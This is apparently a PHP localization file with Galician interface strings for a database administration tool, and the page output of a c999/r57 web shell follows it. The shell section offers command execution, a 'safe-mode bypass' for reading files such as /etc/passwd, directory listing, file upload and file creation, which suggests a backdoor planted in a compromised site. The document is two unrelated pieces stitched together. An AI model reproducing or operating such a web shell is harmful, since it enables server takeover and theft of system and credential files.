$strUnique 'Único';
$strUnknown 'descoñecido';
$strUnselectAll 'Non seleccionar nada';
$strUnsupportedCompressionDetected 'Tentou carregar un ficheiro cunha compresión descoñecida (%s). Ora non se sabe como descomprimir, ora está desactivada na configuración.';
$strUpdatePrivMessage 'Acaba de actualizar os privilexios de %s.';
$strUpdateProfileMessage 'Actualizouse o perfil.';
$strUpdateQuery 'Actualizar a procura';
$strUpdComTab 'Consulte a Documentación para saber como actualizar a tabela Column_comments';
$strUpgrade 'Deberia actualizar a %s %s ou posterior.';  
$strUploadLimit 'Posibelmente tentou enviar un ficheiro demasiado grande. Consulte a %sdocumentación%s para averiguar como evitar este limite.';
$strUsage 'Uso';
$strUseBackquotes 'Protexer os nomes das tabelas e dos campos con&nbsp;" ` "';
$strUsedPhpExtensions 'Extensións de PHP utilizadas';
$strUseHostTable 'Usar a tabela de Host';
$strUserAlreadyExists 'O usuario %s xa existe';
$strUserEmpty 'O nome do usuario está vacío!';
$strUserName 'Nome do usuario';
$strUserNotFound 'Non se atopou o usuario seleccionado na tabela de privilexios.';
$strUserOverview 'Vista xeral dos usuarios';
$strUsersDeleted 'Os usuarios seleccionados elimináron-se sen problemas.';
$strUsersHavingAccessToDb 'Utilizadores que teñen acceso a &quot;%s&quot;';
$strUser 'Usuario';
$strUseTabKey 'Use a tecla do tabulador para moverse de valor en valor ou a tecla CONTROL combinada cunha flecha para moverse a calquer sitio';
$strUseTables 'Usar as tabelas';
$strUseTextField 'Use campo de texto';
$strUseThisValue 'Usar este valor';

$strValidateSQL 'Validar SQL';
$strValidatorError 'Non foi posíbel iniciar o comprobador de SQL. Comprobe que ten instaladas todas as extensións de php tal e como se descrebe na %sdocumentación%s.';
$strValue 'Valor';
$strVar 'Variable';
$strVersionInformation 'Información sobre a versión';
$strViewDumpDatabases 'Ver o volcado das bases de datos';
$strViewDumpDB 'Ver o esquema do volcado da base de datos';
$strViewDump 'Ver o esquema do volcado da tabela';
$strViewHasBeenDropped 'Deixouse a vista %s';
$strViewMaxExactCount 'Esta vista ten máis de %s fileiras. Consulte a %sdocumentación%.';
$strView 'Vista';

$strWebServerUploadDirectory 'directorio de subida (upload) do servidor web';
$strWebServerUploadDirectoryError 'Non se pode acceder ao directorio que designou para as subidas (upload)';
$strWelcome 'Benvida/o a %s';
$strWestEuropean 'Europeu ocidental';
$strWildcard 'comodín';
$strWindowNotFound 'Non se puido modificar a xanela de destino do navegador. Talvez porque fechou a xanela da que depende ou porque o seu navegador está a bloquear as actualizacións entre xanelas xa que asi o pediu na configuración de seguranza do navegador.';
$strWithChecked 'Todos os marcados';
$strWriteRequests 'Peticións de escrita';
$strWritingCommentNotPossible 'Non é posíbel escreber o comentario';
$strWritingRelationNotPossible 'Non é posíbel escreber a relación';
$strWrongUser 'Usuario ou contrasinal errado. Acceso negado.';

$strXML 'XML';

$strYes 'Si';

$strZeroRemovesTheLimit 'Nota: Se estas opcións se configuran como 0 (cero) elimina-se o limite.';
$strZip 'comprimido no formato "zip"';

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0226 ]--